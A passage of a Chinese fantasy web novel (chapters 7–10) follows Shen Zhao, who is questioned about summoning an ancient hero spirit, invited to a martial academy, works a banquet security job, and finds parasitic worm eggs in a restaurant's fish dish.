《救世主迟到三百年后》
7. 总算结束了。
这是一道送命题。
沈昭觉着面前美味的土豆鸡块突然难以下咽了。
如何察觉徐长寿有问题其实不难回答,感知强些的恐怕都能做到,但这只是开胃菜,这位陆队真正想问而她难以回答的,是她怎么能这么准确的召唤出古英灵。
总不能直接承认我是个刚复活的古人,对华夏历史如数家珍吧?
这么回答,那别说她了,整个枫林市都要永无宁日了!
当然,目前她只召唤了一位,联盟又不是没有碰对名字成功召唤出古英灵的幸运儿,她完全可以和这些人一样,说就是自己运气好,碰对了。
新的大坑就隐藏在这里。
要知道,异魔封印的不只有古英灵,还有邪灵,这东西危害极大,实力弱的会带走召唤者,实力强的能瞬间带走成千上万人。
因邪灵的缘故,联盟各市大多其实是反对召唤古英灵的,跑无人区那还没人理会,可在城市里拿那么多人性命一同做赌,亲,危害公共安全罪了解一下?
问题来了,沈昭,你第一次是在哪儿召唤成功的呢?
说是在异魔出现的时候?
你猜面前的特战队长信不信呢?
那承认自己在市里召唤的?
最低三年牢饭哟亲亲。
这怎么回答都是个巨坑!
说起来,原主也是真昏了头,居然在家里召唤古英灵,她哪怕跑去废弃区,现在都不至于这么被动。
“可能是我感知比较强?”
沈昭扯出个僵硬的微笑,硬着头皮回答:“就是觉着他有点不正常,时刻注意了些。”
“这也正常。”
陈峰接道:“异魔感染人类需要融入自身血肉,这会导致感染者气息产生异变,感知敏锐的话能察觉到。”
陆毅没有多言,他继续询问:“那你召唤的是哪位英灵,竟能战胜一个准D级的异魔?”
我就知道会问这个!
沈昭哀嚎一声。
但无所谓,她决定摆烂,牢饭就牢饭,反正管饱,大不了三年后出来再浪,就是她还得演一下,别摆的太快让人察觉出异常,继续再审,把她小秘密审出来。
这么想着,沈昭的目光开始游离躲闪,宛若马科长附体,一句话也不说,笑的极为质朴。
看沈昭模样,陆毅表情没有任何变化,似乎早就预料到了一样。
而陈峰愣了一下,立刻意识到有问题。
他扭头看了眼陆毅,这位特战队长眉宇依旧凌厉,看不出喜怒,但并未对沈昭出手。
这让陈峰心里有了底。
“你召唤的不是联盟英灵?但英灵……难不成是古英灵?这也没,等等。”
经验丰富的陈峰推断起可能,他很快想到关键,直视沈昭的目光变得不善起来:
“沈昭,你最先从哪里召唤的古英灵?”
沈昭避开陈峰的目光,死鸭子嘴硬道:“就,就异魔出来的时候。”
“嘶——你真是胆大包天啊!”
这显然是句假话,反向确认成功的陈峰倒吸口冷气,他伸手指着沈昭,半晌组织不出语言,最后只能宣布:
“你的见义勇为没了!”
“让大众跟你学,不知道得害死多少人!”
陈峰明显话里有话。
可不管怎么说,沈昭召唤古英灵并没有带来危害,还至少了救下了一个村的人,而且召唤的古英灵也足够强大,真把人关去监狱,哪怕只有一两年,也着实太过可惜。
陈峰难免升起几分惜才之心,他迟疑着,试探性的向陆毅问道:
“陆队,你怎么看?”
“你召唤的这位古英灵似乎很擅长近战,这和[战神]倒很匹配。”
陆毅似乎同样多了几分兴致,他忽然邀请道:“有兴趣来武道院吗?”
闻言,陈峰眉毛一挑,话刚到嘴边,想了想,又咽了下去。
居然不问她在哪儿召唤的古英灵了?
沈昭很快反应过来,这两人都想装聋作哑放她一马,不过,这位陆队是有条件的,他想让她去武道院。
英灵[战神],是与[地母]等同的四大天级英灵之一,属于联盟最强战力,不仅契约者遍布整个联盟,还拥有独立的组织,武道院。
这是[战神]契约者共同交流武艺的一个平台,除此之外,武道院还会招收部分学生,免费给予大量资源培养。
而它招收的条件极为苛刻,数额更是稀少,枫林市九百万的人口,每年只有十个名额,只有天才中的天才才能获得。
现在,她得到了一个邀请。
天上突然掉两块馅饼?
自己什么时候运气这么好了?
沈昭敏锐觉着这里面有坑,她不太想答应,但又无法拒绝。
思索片刻,她主动问道:“能让我再考虑几天吗?”
“最迟三天。”
陆毅直接规定了时限:“你必须去趟武道院。”
那态度不容任何拒绝。
艹,肯定有坑!
她得想办法拒绝,再不行也得弄清楚坑在哪里!
“好吧。”
沈昭应了下来,精神不免有些发蔫。
唉,这世上的坏人还是太多了,就不能放过她这个可怜无助又能吃的咸鱼吗?
新的城防队赶了过来,他们拉起了警戒线,沈昭只能站到更远处,接受更详细的问询,无人注意的角落,陈峰悄悄捅了下陆毅:
“陆队,你这也太贪心了吧?那姑娘召唤的古英灵可不是什么水货,你就这么扒拉到武道院去了?”
“我这可是为联盟积累人才。”
陆毅一本正经的敷衍,他随手接过队员递来的文件,目光迅速扫过上面记载,内容和他之前猜测的一模一样。
现查到的细节极为完美,挑不出任何破绽,好像真是一场意外事故。
可真要是意外,异魔绝不会在这里晋升。
还有那个突然召唤出古英灵的沈昭……
想起数年前经手的那场案件,陆毅双眸越发晦暗。
……
“沈昭!”
询问结束,有陆队做保,城防队麻溜放人,表示沈昭可以回家了,等候多时的姜云英立刻上前,轻轻拍了下她的肩膀,亲昵的开口:
“你这身衣服脏的厉害,要不先回我家洗洗,换套我的?放心,都是新的,弄完我再开车把你们一起都送回去。”
这身衣服何止是脏,分明是破损严重,拿个破碗就能直接原地cos乞丐,在这里大家都这样没事,回城就有点尴尬了,姜云英一提,沈昭就立马答应下来。
“好啊。”
她跟着姜云英一同返回小院,在主卧里,对方将翻好的宽松T恤和工装裤递给她,就主动出了房间,还贴心的带上了门。
主卧连着个卫生间,里面还有热水,沈昭简单擦洗干净,换好衣服,心情也好了不少。
总算要回家了!
擦干头发,沈昭推开门,看见姜云英就在客厅坐着等她,面前的桌上还放着个大约一块砖那么厚的长方形黄色纸包。
“这衣服你穿利落极了!”
一见沈昭出来,姜云英就拿起纸包站了起来,她夸赞着
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走到沈昭面前,有些忐忑的将纸包往她手里放:
“今天多谢你救了我们全村人的性命,我们也没没什么能谢的,就只有这点心意了,你可千万别推。”
沈昭立刻明白了这是什么。
她估量了一下厚度,确定这是五万元左右的现金,不仅能迅速解决她现在身无分文,明天不知道上哪儿吃饭的窘境,还能让她正常脱产一年,完成考学的梦想。
这……有点无心栽柳了。
她是争自己的活路,没想从这些人手中得到什么,没想到她们会主动致谢,还给这么多。
沈昭没有死要面子活受罪的心理,她深吸口气,也不客套,直接接了下来:
“不推,我现在正缺钱呢。”
见沈昭收下,姜云英脸上的笑容更真切了,她亲密搂着沈昭的肩:“咱们这也算有过命的交情了,以后沈昭你要是想吃好的,就来姐这儿,姐给你做。”
沈昭笑道:“那太好了,等我考试完我就来!”
两人一同走了出去,来时乘坐的汽车此刻就停在大门口,车边乌泱泱的围满了村民,正拿着包好的肉干,晒干的红枣等食物往一个半人高的帆布袋里塞。
这都是挑过的上品,淡淡的肉香和果香即便隔着袋子,依旧让人唇舌生津,被挤到角落里的吴涛眼馋的盯着,极为羡慕的开口:
“这都是给你准备的,我花钱买他们都不卖!”
“我们听医生说你需要多补补,就从家里拿了点农家货。”
车上,又往袋子里塞了个猪肘的农人朝着沈昭憨厚一笑:“不值啥钱,妹子你不嫌弃就好!”
吴涛怨念更深了。
不值啥钱你卖我一份啊!
沈昭还没想到送完钱,还会有这么多人给自己来送土特产,那些沉甸甸的食物在心底转化成另一种沉甸甸的东西,她有些受宠若惊:
“这,你们已经给我不少了,就不用再弄这些了吧?我也不好拿不是?”
“没事,姜姐会把你送到家,老胡头还有个淘汰了的爬楼推车,直接推上去就行!”
他们商量的齐全极了,甚至还大有股沈昭不答应,那就别想走了的即视感。
那,那就拿着了?
嘿嘿嘿好多好吃的!
烦恼好像都消失了,沈昭晕乎乎的,一个没留神,手中便多了块猪肉脯,她坐在车上,看路边村民集体朝她挥手。
“以后常来玩啊!”
爽!
靠在鼓鼓囊囊的帆布袋上,沈昭心满意足。
虽然危险了点,但今天真是收获满满啊。
汽车开到了小区门口。
谢绝了姜云英送她上楼的建议,沈昭轻松拉着上百公斤的爬楼车回家门口。
她打开门,提着推车跨了进去。
现在已经是下午,阳光转向,客厅内有些暗沉,陈旧的家具更显破败,柜子门大开着,里面空的像是个能吞噬一切都黑洞。
不过没关系,沈昭带回来的食物能将它们塞的满满的,她决定一会儿再去买些米面粮油和调味料,将厨房也用起来。
看着暗灰色卷曲的墙纸和凹进去一块的单人沙发,沈昭觉着自己还可以再抽出一笔钱,将陈旧的墙纸换了,再买个新的沙发垫和沙发套,桌布,让家里显得更干净,更温馨些。
正当她计划着的时候,一直安静的系统突然冒了出来。
“宿主,经检测,客厅各处摆放的物品有四十七处与您离开前有轻微不同,应该是有人进来过。”
有人来过?
沈昭瞬间警惕起来。
是谁?!
8. 二百块钱~
沈昭的精神紧绷起来。
她随手拿起鞋柜上的撬棍,准备应对有可能还未离去的敌人。
只是环顾四周,周遭一切都和离开前一模一样,沈昭根本无法分辨出到底有哪处有了变化。
系统这微察技术,都可以当痕检了吧?
脑海中飘过这个念头,沈昭的目光忽然落在茶几上。
那上面多了一张淡黄色的纸,边缘还有不规则的锯齿,明显是从她作业本上撕下来的。
她走前可没放这东西。
握紧撬棍,沈昭缓慢上前,发现纸下压着两张百元红钞,纸上歪歪扭扭的写着一句话。
【不好意思,以后不会再来你家了,拿钱换把锁,吃顿好的,认真读书,未来会变好的。】
沈昭愣了下,两秒钟后,双颊迅速变得通红。
气的。
家里进小偷了,对方没偷到东西,看她家徒四壁,穷的可怜,还给她留了两百?
我哗——!
这事发生在别人身上挺乐呵,但发生在自己身上,那就很让人红温了。
同样扫描到这张纸的系统开口道:“宿主,您好像被……”
“闭嘴。”
“好的。”
沈昭努力平复心情,待到心态平和,又对系统问道:“系统,你觉着我抓到这个小偷,送他一份包吃包住工作的可能有多高?”
包吃包住?
是不是还有一对漂亮的银手镯?
“额。”
读懂潜台词的系统沉默片刻:“宿主,对方是个专业人士,即便我升级了功能,也没扫描到任何指纹。”
“那算了。”
沈昭摁了摁太阳穴:“系统,把它忘了。”
“好的宿主。”系统答的极快:“正在删除相关记载。”
系统解决了,但事情还没完。
看着纸条,沈昭有些头痛。
报警是不可能报的,这种小案子根本查不出来不说,还有可能被媒体知道,成为今日份搞笑事件的主人公。
换锁也没什么必要,市面上的大部分的机械锁根本拦不住小偷,属于白花冤枉钱。
可什么都不做,她的这些吃的和现金怎么办?
正所谓有恒产者有恒心,沈昭手中真有头牛了,也难再像刚穿越时那么无所谓。
老小区的安保突出一个如有,基本等同没有,全靠小区自己人留意,想更靠谱点,除月租金一万起步,有监控有保安的高档小区外,也就剩下机关单位的防护更严密了。
特战队三个字再次跳了出来,沈昭可耻的有点心动了。
话说她能应聘个后勤的职位,然后继续混吃混喝等死吗?
回忆起那位冷酷的特战队队长,沈昭觉着有点悬。
只是不知道为什么,一想起他,沈昭就连带着想起那只潜伏在玉米地中的异魔,心中莫名的有些不安。
还是实力太弱了。
这个世界并不像她想的那么安全,若有机会提升实力,还是得努力抓住。
那,那个来自武道院的邀请……
原主是个普通学生,对此了解极为有限,去网吧也很难查到这种内部消息,正当犯愁之际,沈昭忽然想起来一个人。
她说不定能给自己解答。
沈昭想拿手机联系对方,手伸进兜里,才意识到原主没有手机。
要命。
她在近现代的环境生活才一天就已经觉着处处不便了,那些穿古代的穿越者是怎么活下来的呢?
‘咚咚咚。’
正当沈昭想着必须要买个手机的时候,外面突然传来一阵敲门声。
她将纸一叠,塞进口袋,边开门边问道:“谁啊?”
门打开,一个身材高挑修长的姑娘正站在门口,她左手提着个布袋,右手拿着张广告单,见门开了,直接就往屋里走。
“这么巧,你今天居然在家?”
“纪缨?”
沈昭有些惊讶,这可真是说曹操,曹操就到:“你怎么过来了?”
这位是原主的高中同学,不仅是天赋者,还契约了黄级英灵影猫,转去了超凡班。
对方性格极好,像个小太阳,不仅经常接济原主,还会带原主打些高工资的短工。
“喏,超市打折的临期罐头,我一不小心买多了,家里吃不完,就给你带了点,省得浪费。”
说着,纪缨布袋放在茶几上,沉重的铁罐砸在上面,发出沉闷的声响。
她像是在自己家似的,扯出椅子就坐了上去,兴奋的晃悠着手中的红色广告单:
“还有,战锋家的作训服总算出新品了,你看这衣服多酷,才只需2999!2999就能买一套大师设计,含3%变异蚕丝的作训服!”
自己是不是耳朵不好,多听了个9?
但广告单已经怼到沈昭面前,‘惊爆价,2999’的花体字就使劲跳进她的眼中,下方还写着‘专为修行者设计’,紧接着,占据了半张纸的一男一女两个模特也印入眼帘,他们都穿着套黑色衣服,和军装略有些相似,不过剪裁更修身,看上去威严又帅气。
沈昭点点头:“确实挺好看的。”
“是吧。”纪缨道:“前三百名购买还能省199呢。”
沈昭诚恳道:“我觉着不买立省2999。”
“你真会说笑。”
纪缨自动忽略这句话:“我决定给自己买了,就当后年的生日礼物,但现在手头钱有点不够,你明天跟我一起去打工吧?我知道个保安的活,一天六百呢。”
“六百?”
沈昭眉毛一扬:“什么保安给这么高?”
“咱们市的天澜集团要办宴席,要身高过一米八的女天赋者当保安撑门面,条件有点苛刻,给的就高了点。”
纪缨半个身体懒洋洋的靠在椅子上:“就在新世纪大酒店,就两天,错过就没有了,你去不去?”
懂了,跟楼房刚开盘时请帅哥当保安一样,卖的是脸,贵是给颜值和稀有付费。
活少钱多,站一天就有六百,这种稀少的梦中情工,也就纪缨会专门跑一趟过来喊她。
沈昭张口答应:“去!”
“我就说你会答应的。”
纪缨一点儿也不意外,她举起宣传单,欣赏着作训服的美貌,口中喃喃计算着:“存款加一千二,还差五百,唔只能跟我妈要了……”
“对了纪缨,我有件事问你。”
既然纪缨来了,沈昭也不等了,她直接问道:“你对武道院了解多少?”
“大致知道些。”纪缨有些疑惑的抬头望了过来:“怎么了?”
“我今天去城外打短工,遇到只准D级异魔。”
沈昭简短的将今天事情说了下,她稍微隐去了些细节,对着纪缨问道:
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“不知道为什么,特战队的陆队长来了后,非要我去武道院……”
“你说你召唤了出古英灵,还斩杀个准D级异魔?!”
话还没问完,纪缨就已经坐直了身体,尖叫着,像腾空飞起的猫般朝她扑了过来,摁着沈昭两个肩膀就使劲摇晃:
“那可是准D级异魔!你居然能杀了它!”
“歪歪歪冷静一下,别动手啊!”
“我冷静个鬼!”纪缨明显已经陷入癫狂:“那可是准D级异魔,我现在连E级异魔都打不过!”
“我记得你契约了影猫……”
纪缨更悲愤了:“影猫最擅长的是潜行,对近身作战加成少到离谱,我练了三年,还是就比辅助系强一点!”
沈昭闭上了嘴。
半晌,纪缨总算恢复了理智,重新坐回椅子上。
“武道院我知道的其实也不多,他们信奉战神,都是战斗疯子,最喜欢你这种近战天才,想把你捞到武道院培养也不奇怪。”
抬手理了理有些杂乱的头发,纪缨认真想了想,道:
“不过这里面的确有坑,一旦你加入武道院,那就会被打上战神派系的标签,未来晋升会受影响,但这个目前不是大问题,主要是特战队长只说邀请你去,可没提免费培养名额,那修行耗费可能都得你自己出,这对你来说可是个大坑。”
“要知道,修行耗费可不是个小数目。”
纪缨伸出手指,边伸边数道:
“城内炁能含量太低,需要购买炁石吐纳,近身作战训练,普通衣服、鞋子几天就得坏,需要经常买新的,当然你也可以买修行者专供的,能穿更久,当然也更贵,还有吃喝这个大头,再加上轻微跌打损伤的伤药,武器损耗和其它杂七杂八……哪怕压缩最低,一个月也能轻松花个两三万。”
“奥对了,你天赋好,消耗更大,会花更多哦。”
最后这句话简直像是恶魔在耳边低语。
停停停师傅别念了!
沈昭感觉自己现在就像正在被唐僧念咒的孙悟空,头痛极了。
怪不得原主天赋那么高还一直没有踏入修行呢,都是穷闹的。
她目前手头五万块看着多,但扔进去连两个月都撑不到。
动画里拯救世界的主角不需要面临吃饭问题,但沈昭显然不在动画世界里,更不是什么主角,她只能面对惨烈的现实。
钱不够,怎么办?
一直沉默的系统突然开口:
“宿主,修行资源不足这个问题,我有办法解决。”
咦?
沈昭在心底问道:“什么办法?”
“之前为了方便您理解,我才说我是系统,我真正的身份,其实是异空间勘测站的总控制系统。”
提及身份,系统声音极为自豪,但末尾又多了些许沧桑,它停顿片刻,又道:
“简而言之,您只要突破凝炁期,付出一点炁能,我就能以精神投影的方式,将您带入合适的异空间,猎杀其中的凶兽、异魔,并转化为炁石将其带出,而且您不必担心危险,就算精神投影在异空间死亡,也只会让您虚弱一阵,不会有更大的危害。”
闻言,沈昭心神一动。
这岂不是说,她有个随身刷怪笼,进去就能爆金币?
那她还真得抓紧突破启灵,晋升凝炁期了。
不如……就先定个小目标,争取一个月内突破?
9. 一直摸鱼一直爽~
“不管怎么说,我还是建议你去一趟,那可是武道院啊!不知道有多少高阶修行者在呢。”
见沈昭许久不说话,纪缨还以为她被难住了,她开口劝道:“有的是人愿意自备修行资源求个旁听名额,你哪怕只学一点他们的经验,应对联考也会容易许多。”
修行资源还能花钱买,高级教师别说花钱请对方教,遇都不一定遇到,沈昭还是很明白这个道理的,她点头道:
“我会的,后天我就去。”
“欧了。”
纪缨比了个手势:“那明天上午七点,世纪大酒店后门集合,别迟到了!”
……
深夜,特战队内网论坛。
一个匿名帖子悄悄升了起来。
《震惊!未修行新人竟能斩首准D级异魔!》
1L:有人看今天的出警报告了吗?震撼我一百年啊!
2L:震撼+1
3L:震撼+2
……
6L:我看报告的时候人都懵了,才启灵中期的炁能水平,正常情况下召唤英灵后实力能短暂达到准凝炁期就已经是天才了,她居然能跨到凝炁后期!
7L:真假,这么夸张?古英灵这么强的吗?
8L:陆队亲自确认过的,还有假?
9L回复7L:不是古英灵强,是新人召唤的这个古英灵强。
10L:这实力,这运气,酸了酸了。
……
13L:听说陆队已经开始往武道院抢人了,
14L:我去,这么不要脸?咱们市的学院呢?学院就没去抢人?
15L:没,就咱们这排名倒数的超凡学校,能抢的过就怪了。
16L:四英五校三十二院嘛,人家可是四英之一,又在本地,谁争得过?
……
20L:真糟心,是个天才就被他们给抢走,联盟不是有名额限制吗?
21L:废话,就武道院的名气,限制名额能管个屁。
22L:战神殿这几年真是越来越跳了……
23L:毕竟是四英嘛呵呵呵……
……
——此贴因涉政已被管理员删除——
第二日,清晨。
“枣糕——”
“油条粥嘞——”
“包子,刚出锅的大包子——”
天边泛金,晨露未尽,就连路面似乎也有点泛湿,街边的小摊已经开始吆喝,带着满满的市井之气。
包子店里,一对夫妻抬着遮住头的巨大蒸笼从厨房快步走出来,‘咣当’一声放在门口的案子上。打开笼盖,霎那间,麦香混着升腾的白色热气,轰的全炸了出来。
昨夜被人私下议论的天才,此刻正毫无自觉的站在包子店前,两眼放光。
提着王奶奶家的肉饼,沈昭财大气粗的拿出五元大钞,对着包子店老板喊道:
“再给我拿两个肉馅的包子!”
“好嘞,您的包子和零钱!”
接过微微烫手的包子,沈昭咬了一口,咸香的肉汁透过柔软的外皮在舌尖滚过,让人胃口大开。
她心情极好的边吃边走,逐渐靠近公交站牌。
世纪大酒店在枫林市的老城区,距这里有十多公里远,不算近,好在有直达的公交车。
今天周天,上班族少了许多,沈昭有幸捞了个座,没多久就到了地点。
她是在正门不远处下的车。
这里已经成了一片花海。
数百名服务员正在忙碌布置,鲜艳的红毯自酒店大厅内向外铺设,其上是一道道装饰着鎏金线条的白色拱门。
拱柱缠绕着绿藤,无数巨大的花篮在高空中垂坠,簇簇造型别致的花团拱卫在道路两侧,蜿蜒连绵不绝,淡淡的花香迎面而来,美的就像是童话世界。
沈昭忍不住驻足停了下来。
真是万恶的有钱人啊!
“沈昭,我就知道你在这里!”
纪缨从公交站牌后冒了过来,她已经换好了制服,收腰大衣配上仪式剑,肃杀感扑面而来。
她伸手拍了下沈昭肩膀:“在这儿想什么呢?”
“在想主办方是真有钱。”
沈昭指了下门口的景色:“居然全都是真花!”
其它材料还可以可以重复利用,鲜花用不了几天就会枯萎,属于钱花了就一分都别再想收回来,想要效果好还得足够多,家底稍微薄一点的都不敢这么干。
“毕竟是天澜集团嘛,枫林市民用运输线路七成都在他们手里,有钱着呢。”
纪缨同样有些感慨,她摊了摊手:“咱们这些穷鬼就尽力薅羊毛吧,走吧,现在前门不能走,我们得从后门进去换好衣服去排位置。”
“好。”
纪缨在前带路,沈昭在后跟着,她们往西走了几十米,一个老旧的狭窄小路印入眼帘。
左边是酒店整洁的外墙,右边则是低矮的三层楼房,杂乱的电线与粗大的暖气管道在右边墙上横着向前,道路也不是水泥路,而是一块又一块拼接而成的石板,其中不少已经开裂,翘起。
就像是掀开一件华丽的袍子,看到了反面爬满了臭虫和跳蚤,沈昭不由得微微拧眉:
“老城区这边怎么这么破嘛?”
“是啊,这都五十多年前的建筑了。”
纪缨伸手画了一大圈,将世纪大酒店连同楼房以及更远的地方都圈了进去:
“据说十多年前就搞拆改,左边拆了,改成几个新小区和酒店,右边那小片区域价格没谈拢,市政厅拿不出那么多钱,索性就不改了,就每年进行一次维修,你可别小瞧这里破,房价高着呢!”
原来这里住的都是京爷啊。
失敬失敬。
沈昭了然,她收回目光,跟着纪缨从后门进入酒店衣物间,换好衣服。
两人前往前厅集合。
所有安保人员都在这里等待。
纪缨母亲在劳务市场工作,是个主管,和不少单位的基层负责人交好,靠着这层关系,她才能找到各种合适的高薪短工,也能给自己安排个轻松的位置。
这次也不例外。
穿着酒店礼服的女主管正在安排任务,见纪缨来了,立刻朝她亲切的笑了笑,不一会儿,就将她们两人安排在厅内一个无人注意的角落里站岗。
一个适合摸鱼的好位置。
十点整,大厅开始陆续进人了。
来人多是商界名流,身着剪裁精良的西装,胸前、袖口佩戴着华丽的宝石,腕上还带着镶钻手表,部分男士携带的女伴穿着更为华丽的礼服,耳上与脖颈间佩戴着华丽的珠宝,于灯光下闪个不停。
面容姣好的男侍端着酒杯,忙碌的穿梭在人群当中。
一时间,整个大厅都陷入难以形容的奢华当中。
沈昭悠闲的站在角落里,看着这比电影还夸张的一幕,不由得幽幽的叹了口气:
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“这世上有钱人那么多,怎么就不能多我一个呢?”
唉,系统,你要是给我找户有钱的人家复活该有多好。
“当然可以啊沈昭。”
五米外,纪缨同样闲得无聊,她从隐形耳机中听到了沈昭的抱怨,小声调侃道:
“我听说宴会这是给天澜集团的少东家办的成人礼,他只是个普通人,难守这么大家业,正想找个召唤师联姻呢,你要不忍辱负重,入赘算了?正好解决了没钱的难题呢!”
说到最后,纪缨的语气变得贱兮兮的。
“我可无福消受。”
沈昭撇了撇嘴角:“还是你更合适,就你这收集消息的能力,说不定还能拿个董事长当当呢。”
“我才没兴趣呢。”
纪缨同样拒绝的飞快:“我只想考法学院!”
“话说回来。”
沈昭目光扫过中间被众人簇拥着,正在与外人交谈的天澜集团的董事长,对方鬓发斑白,气息略有些虚弱,就是个自然衰老的普通人。
“他们一家都是普通人?那怎么创下这么大基业的?”
“是哎,以前天澜还没这么有名来着。”
纪缨回忆着,突然精神起来:
“我想起来了,是因为他堂妹!六年前他堂妹被武道院选中,借着这层关系,天澜才越来越有钱的。”
“我记得,她好像叫……姜凌霄?”
纪缨压低声音,神神秘秘的说道:
“据说她拜了位武道院的高层当老师,现在是学生中的魁首,实力极强!”
“姜凌霄?”
沈昭咀嚼着这个名字:“真是霸气。”
就是不知道明天能不能见到了。
宴会开始,不少人开始跳舞,还有人在互相敬酒,交谈,端的是觥筹交错,衣香鬓影。
沈昭站在角落里,看不到刚才八卦的少东家长什么模样,不过她也不在意这个,只专注和纪缨天南地北的闲聊。
努力上班,那赚到的钱都是辛苦费,摸鱼还有钱拿,那才真是赚到了!
秉承着这样的想法,沈昭和纪缨愉快的八卦,直到新的安保过来轮岗。
大厅内的乐队还在继续演奏,进行着持续两天一夜的狂欢,但这已经暂时与沈昭无关。
两人换好衣服,从后门走了出来。
返回公交站牌的路上,纪缨高兴的将红包递给沈昭:“喏,这是你的工资,明天记得继续来啊。”
“谢了。”
沈昭揉了揉被香味蹂躏的鼻子,她心情极好的接过红包,正准备询问对方接下来的安排,忽然看到不远处有个熟悉的身影。
对方正站在一家社区医院门口,电子招牌上硕大的红色字体正滚动着专治男科,阳痿,早泄,勃.起功能障碍等字样。
一看就不是什么正规医院。
“吴涛?”
为了防止对方真的误入歧途,沈昭迟疑了一下,还是开口问道:“你怎么会在这里?”
“大佬?!”
带着口罩的吴涛下意识回头,一看见沈昭,便高兴的打了声招呼,但紧接着就想起来自己站在什么地方,人直接僵在了原地。
沈昭的目光已经已经有些意味深长了。
多年轻的小伙子啊,啧啧啧……
“不是大佬你想的那样!”
瞬间读出某些含义的吴涛像踩了尾巴的猫,连声尖叫:“我只是过来发传单的!”
10. 怪物,这里都是怪物!
沈昭满脸理解,她极为体贴的开口:“我懂,我懂。”
这话一出,吴涛感觉自己满身是嘴也说不清了,他人站在原地,却又好像已经消失在这里,只能没招的再次重复:
“我没病,我真的只是来发传单的!”
“我明白。”
沈昭一本正经的说道:“这种事情不要讳疾忌医嘛,还是要去正规医院治疗的,不然出事是小,欠了贷款可就麻烦了。”
我才没有讳疾忌医!等等,什么欠了贷款就麻烦了?
悲愤欲绝的吴涛愣了一秒,这才反应过来,沈昭是在拿他开玩笑呢。
“哈哈哈。”
听到现在的纪缨噗嗤一笑:“这谁啊,这么有意思?”
“吴涛,东临武校的,昨天打工时认识的。”
开了个小玩笑的沈昭心情也不错,她简短的向纪缨介绍了对方,又随口问道:
“昨天出那么大事儿,你怎么不在校休息两天,又跑出来打工了?”
“没办法,穷啊。”
吴涛快步从男科医院门口走了出来,他手里还攥着广告单,一提起这个,满肚子全都是苦水:
“也不知道怎么回事,我最近可倒霉了,刚开学就不小心把腿摔了,好不容易修养好,训练时又把合金刀给崩了个豁口,这月初还不小心把训练服连同手机给烧了……总之欠了不少钱,只能赶紧出来赚钱了。”
现实社会中居然真有这样的倒霉蛋?
“你这还挺多灾多难的。”
沈昭不免升起几分同情:“就没想过拜拜什么,转下运?”
“去过地母堂,还弄了个去霉符,但都没什么用。”
吴涛叹了口气,情绪不由得低落了几秒,但又迅速亢奋起来:
“不说这些了,昨天要不是大佬你救我,我就没命了,今天能碰到更是缘分,我知道这附近有个不错的酸菜鱼餐馆,三十年的老菜馆,鲜鱼现杀,味道可好了,我请客,咱们三个去搓一顿怎么样?”
三十年的老菜馆?
沈昭有点心动。
“算了吧。”
想了想,沈昭还是拒绝道:“你现在正缺钱着呢,我们一去,你这两天全都白干了。”
“钱没了再赚就是!”
吴涛十分豪气的摆手:“一顿饭而已,大不了回家掏我爸的小金库。”
孝,实在是太孝了。
既然吴涛不在乎,沈昭也就笑纳了,她扭头看向纪缨,问道:“纪缨你去不去?”
“我?”
纪缨似乎在想什么事情,听到沈昭询问才回过神来,她随意的耸了耸肩:
“我当然要去了,正好省顿饭钱。”
“那就走着!”
见两人都答应了,吴涛高兴的大手一挥,上前带路。
三人踏入了老城区。
这里的道路有些狭窄,只能供一辆轿车单向通过,地上部分铺着还算完好的深灰色石板,部分则是平整的水泥,看起来有点像济公破烂的僧袍。
和奇葩的道路一样,周遭的环境也是拼拼补补的。
正常的水泥墙没延续多长,便露出一截厚重的砖石墙,墙角还特地凹进去一块,上面放着几十年前才会用的瓦斯灯,灯罩半破损着。
各种锈迹斑斑的管道如同老旧的血管在这里穿行,大部分只剩下突兀的一截,卡在墙里,又或者是地下,黑洞洞的管内已经积累了不少泥土。
往前,几栋私建的两层民房紧挨着,窗户开得极小,还装着手臂粗的铁栅栏,半米厚的墙壁围在外围,上方逐渐收尖,插着尖锐的铁刺。
沈昭饶有兴致的打量着周围的一切。
透过这些残余建筑,她能看到半个世纪,数个时代的变迁。
曾经的这里应该是个普通的小镇,又逐步发展为一个繁荣的工业生产中心,在最鼎盛时期,管道时刻不停的运转,机器彻夜轰鸣,吞吐着海量的材料,再生产出无数的商品,运往城市各地。
依照着穿越前的记忆,沈昭在脑海中描绘着这里曾经的模样,但大量的防御设施还是让两者鲜明的区分开。
这里的防御设施实在是太多了。
难不成几十年前,这里的居民在生产之余,还时刻都在准备应对突如其来的危险?
想想城外居住的姜姐,沈昭觉着可能很大。
幸好系统晚到了这么多年。
虽然科技还是有点落后,但至少现在的城内安全啊!
沈昭再次扫了眼那些民房。
墙壁上铁刺已经布满了铁锈,还有些已经断裂,像断了齿的梳子,没有人修补,只有鬓角斑白的老人坐在阳光下,正悠闲的,一动不动的晒着夕阳。
一片岁月静好。
“就在前面了。”
吴涛早就摘了口罩,他指着不远处的红色招牌,信誓旦旦的保证:“虽然看起来有些简陋,但口味真的很好,我没开学前来吃过,那酸香,简直绝了!”
那家鱼馆的确有些简陋,连门都是二十多年前的样式,一整面墙都敞开着,里面摆着还是矮桌和马扎。
“没事儿,不就是苍蝇馆子嘛。”
沈昭丝毫不在意的摆了摆手:“好吃就行。”
说着,沈昭走进了这家刘家鱼馆。
一股酸香与淡淡的辣香扑鼻而来。
不知是不是还没到饭点,周围也没什么人,鱼馆只开了一桌,桌边围着三个男人,正喝着小酒,倒也没抽烟,只嘟嘟囔囔的骂着上司。
沈昭朝着这桌望了上去。
油炸花生米,拌黄瓜,皮蛋以及炒土豆丝这四个常见的下酒菜摆在四周,中间是脸盆大的酸菜鱼。
金黄色的汤汁铺满了个瓷盆,红亮的辣椒漂浮着,上面撒着碧绿的香菜,雪白的鱼片浸在汤中,边缘微微卷曲,透着嫩滑的光泽,不知道吃起来会多么细嫩。
沈昭口舌生津,刚想喊服务员,忽然看到那汤中的白色鱼片颤了一下。
就像是突然活过来一样。
嗯???
她眼睛出问题了?
沈昭猛地眨了下眼,她紧盯着隔壁桌盆里的那片白色鱼肉。
白色鱼肉静静的躺在汤锅里,没有任何变化,好像沈昭刚才看错了似的。
沈昭慢慢收回了目光。
不是错觉。
她的感知比常人更加敏锐,那片白色鱼肉给她的感觉就是‘活着’的。
这不正常。
沈昭抿了抿唇,她像个好奇的食客,朝向这桌走了过去,心底已经开始呼唤系统。
“系——”
“我在,宿主,已经开始扫描。”
忠诚的系统迅速上线,两秒钟后,它发出了一声尖锐的爆鸣:
“遭了宿主,我检测到了脑虫虫卵!”
什么?居然是这玩意儿!
原主的记忆碎片瞬间跳了出来,沈昭快速浏览一遍,差点儿没绷住。
变异脑虫,一种危害性极大的寄生虫。
